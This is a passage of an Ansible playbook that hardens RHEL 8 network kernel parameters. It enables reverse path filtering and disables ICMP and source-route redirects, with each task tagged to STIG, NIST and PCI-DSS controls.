        -HP '^\s*net.ipv4.conf.all.rp_filter\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040285
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-7(a)
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.3
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_rp_filter

  - name: Enable Kernel Parameter to Use Reverse Path Filtering on all IPv4 Interfaces
      - Find all files that set net.ipv4.conf.all.rp_filter to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv4.conf.all.rp_filter\s*=\s*{{ sysctl_net_ipv4_conf_all_rp_filter_value
        }}$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040285
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-7(a)
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.3
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_rp_filter

  - name: Enable Kernel Parameter to Use Reverse Path Filtering on all IPv4 Interfaces
      - Comment out any occurrences of net.ipv4.conf.all.rp_filter from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*net.ipv4.conf.all.rp_filter
      replace: '#net.ipv4.conf.all.rp_filter'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-040285
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-7(a)
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.3
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_rp_filter

  - name: Enable Kernel Parameter to Use Reverse Path Filtering on all IPv4 Interfaces
      - Comment out any occurrences of net.ipv4.conf.all.rp_filter from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*net.ipv4.conf.all.rp_filter
      replace: '#net.ipv4.conf.all.rp_filter'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040285
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-7(a)
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.3
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_rp_filter

  - name: Enable Kernel Parameter to Use Reverse Path Filtering on all IPv4 Interfaces
      - Ensure sysctl net.ipv4.conf.all.rp_filter is set
    ansible.posix.sysctl:
      name: net.ipv4.conf.all.rp_filter
      value: '{{ sysctl_net_ipv4_conf_all_rp_filter_value }}'
      sysctl_file: /etc/sysctl.d/net_ipv4_conf_all_rp_filter.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040285
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-7(a)
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.3
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_rp_filter

  - name: Disable Kernel Parameter for Accepting ICMP Redirects by Default on IPv4
      Interfaces - Set fact for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040209
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-7(a)
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.3
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_default_accept_redirects

  - name: Disable Kernel Parameter for Accepting ICMP Redirects by Default on IPv4
      Interfaces - Find all files that contain net.ipv4.conf.default.accept_redirects
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv4.conf.default.accept_redirects\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040209
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-7(a)
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.3
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_default_accept_redirects

  - name: Disable Kernel Parameter for Accepting ICMP Redirects by Default on IPv4
      Interfaces - Find all files that set net.ipv4.conf.default.accept_redirects
      to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv4.conf.default.accept_redirects\s*=\s*{{ sysctl_net_ipv4_conf_default_accept_redirects_value
        }}$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040209
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-7(a)
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.3
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_default_accept_redirects

  - name: Disable Kernel Parameter for Accepting ICMP Redirects by Default on IPv4
      Interfaces - Comment out any occurrences of net.ipv4.conf.default.accept_redirects
      from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*net.ipv4.conf.default.accept_redirects
      replace: '#net.ipv4.conf.default.accept_redirects'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040209
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-7(a)
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.3
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_default_accept_redirects

  - name: Disable Kernel Parameter for Accepting ICMP Redirects by Default on IPv4
      Interfaces - Comment out any occurrences of net.ipv4.conf.default.accept_redirects
      from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*net.ipv4.conf.default.accept_redirects
      replace: '#net.ipv4.conf.default.accept_redirects'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040209
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-7(a)
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.3
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_default_accept_redirects

  - name: Disable Kernel Parameter for Accepting ICMP Redirects by Default on IPv4
      Interfaces - Ensure sysctl net.ipv4.conf.default.accept_redirects is set
    ansible.posix.sysctl:
      name: net.ipv4.conf.default.accept_redirects
      value: '{{ sysctl_net_ipv4_conf_default_accept_redirects_value }}'
      sysctl_file: /etc/sysctl.d/net_ipv4_conf_default_accept_redirects.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040209
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-7(a)
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.3
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_default_accept_redirects

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on IPv4 Interfaces
      by Default - Set fact for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040249
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_default_accept_source_route

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on IPv4 Interfaces
      by Default - Find all files that contain net.ipv4.conf.default.accept_source_route
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv4.conf.default.accept_source_route\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040249
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_default_accept_source_route

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on IPv4 Interfaces
      by Default - Find all files that set net.ipv4.conf.default.accept_source_route
      to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv4.conf.default.accept_source_route\s*=\s*{{ sysctl_net_ipv4_conf_default_accept_source_route_value
        }}$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040249
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_default_accept_source_route

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on IPv4 Interfaces
      by Default - Comment out any occurrences of net.ipv4.conf.default.accept_source_route
      from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*net.ipv4.conf.default.accept_source_route
      replace: '#net.ipv4.conf.default.accept_source_route'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040249
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_default_accept_source_route

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on IPv4 Interfaces
      by Default - Comment out any occurrences of net.ipv4.conf.default.accept_source_route
      from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*net.ipv4.conf.default.accept_source_route
      replace: '#net.ipv4.conf.default.accept_source_route'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040249
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_default_accept_source_route

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on IPv4 Interfaces
      by Default - Ensure sysctl net.ipv4.conf.default.accept_source_route is set
    ansible.posix.sysctl:
      name: net.ipv4.conf.default.accept_source_route
      value: '{{ sysctl_net_ipv4_conf_default_accept_source_route_value }}'
      sysctl_file: /etc/sysctl.d/net_ipv4_conf_default_accept_source_route.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040249
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_default_accept_source_route

  - name: Enable Kernel Parameter to Ignore ICMP Broadcast Echo Requests on IPv4 Interfaces
      - Set fact for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040230
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.2
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_icmp_echo_ignore_broadcasts

  - name: Enable Kernel Parameter to Ignore ICMP Broadcast Echo Requests on IPv4 Interfaces
      - Find all files that contain net.ipv4.icmp_echo_ignore_broadcasts
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv4.icmp_echo_ignore_broadcasts\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040230
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.2
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_icmp_echo_ignore_broadcasts

  - name: Enable Kernel Parameter to Ignore ICMP Broadcast Echo Requests on IPv4 Interfaces
      - Find all files that set net.ipv4.icmp_echo_ignore_broadcasts to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv4.icmp_echo_ignore_broadcasts\s*=\s*{{ sysctl_net_ipv4_icmp_echo_ignore_broadcasts_value
        }}$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040230
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.2
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_icmp_echo_ignore_broadcasts

  - name: Enable Kernel Parameter to Ignore ICMP Broadcast Echo Requests on IPv4 Interfaces
      - Comment out any occurrences of net.ipv4.icmp_echo_ignore_broadcasts from config
      files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*net.ipv4.icmp_echo_ignore_broadcasts
      replace: '#net.ipv4.icmp_echo_ignore_broadcasts'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040230
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.2
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_icmp_echo_ignore_broadcasts

  - name: Enable Kernel Parameter to Ignore ICMP Broadcast Echo Requests on IPv4 Interfaces
      - Comment out any occurrences of net.ipv4.icmp_echo_ignore_broadcasts from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*net.ipv4.icmp_echo_ignore_broadcasts
      replace: '#net.ipv4.icmp_echo_ignore_broadcasts'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040230
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.2
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_icmp_echo_ignore_broadcasts

  - name: Enable Kernel Parameter to Ignore ICMP Broadcast Echo Requests on IPv4 Interfaces
      - Ensure sysctl net.ipv4.icmp_echo_ignore_broadcasts is set
    ansible.posix.sysctl:
      name: net.ipv4.icmp_echo_ignore_broadcasts
      value: '{{ sysctl_net_ipv4_icmp_echo_ignore_broadcasts_value }}'
      sysctl_file: /etc/sysctl.d/net_ipv4_icmp_echo_ignore_broadcasts.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040230
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - PCI-DSS-Req-1.4.3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.2
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_icmp_echo_ignore_broadcasts

  - name: Disable Kernel Parameter for Sending ICMP Redirects on all IPv4 Interfaces
      - Set fact for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040220
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.5
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_send_redirects

  - name: Disable Kernel Parameter for Sending ICMP Redirects on all IPv4 Interfaces
      - Find all files that contain net.ipv4.conf.all.send_redirects
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv4.conf.all.send_redirects\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040220
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.5
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_send_redirects

  - name: Disable Kernel Parameter for Sending ICMP Redirects on all IPv4 Interfaces
      - Find all files that set net.ipv4.conf.all.send_redirects to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv4.conf.all.send_redirects\s*=\s*0$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040220
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.5
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_send_redirects

  - name: Disable Kernel Parameter for Sending ICMP Redirects on all IPv4 Interfaces
      - Comment out any occurrences of net.ipv4.conf.all.send_redirects from config
      files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*net.ipv4.conf.all.send_redirects
      replace: '#net.ipv4.conf.all.send_redirects'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040220
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.5
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_send_redirects

  - name: Disable Kernel Parameter for Sending ICMP Redirects on all IPv4 Interfaces
      - Comment out any occurrences of net.ipv4.conf.all.send_redirects from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*net.ipv4.conf.all.send_redirects
      replace: '#net.ipv4.conf.all.send_redirects'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040220
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.5
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_send_redirects

  - name: Disable Kernel Parameter for Sending ICMP Redirects on all IPv4 Interfaces
      - Ensure sysctl net.ipv4.conf.all.send_redirects is set to 0
    ansible.posix.sysctl:
      name: net.ipv4.conf.all.send_redirects
      value: '0'
      sysctl_file: /etc/sysctl.d/net_ipv4_conf_all_send_redirects.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040220
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.5
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_all_send_redirects

  - name: Disable Kernel Parameter for Sending ICMP Redirects on all IPv4 Interfaces
      by Default - Set fact for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040270
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.5
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_default_send_redirects

  - name: Disable Kernel Parameter for Sending ICMP Redirects on all IPv4 Interfaces
      by Default - Find all files that contain net.ipv4.conf.default.send_redirects
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv4.conf.default.send_redirects\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040270
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.5
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_default_send_redirects

  - name: Disable Kernel Parameter for Sending ICMP Redirects on all IPv4 Interfaces
      by Default - Find all files that set net.ipv4.conf.default.send_redirects to
      correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv4.conf.default.send_redirects\s*=\s*0$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040270
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.5
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_default_send_redirects

  - name: Disable Kernel Parameter for Sending ICMP Redirects on all IPv4 Interfaces
      by Default - Comment out any occurrences of net.ipv4.conf.default.send_redirects
      from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*net.ipv4.conf.default.send_redirects
      replace: '#net.ipv4.conf.default.send_redirects'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
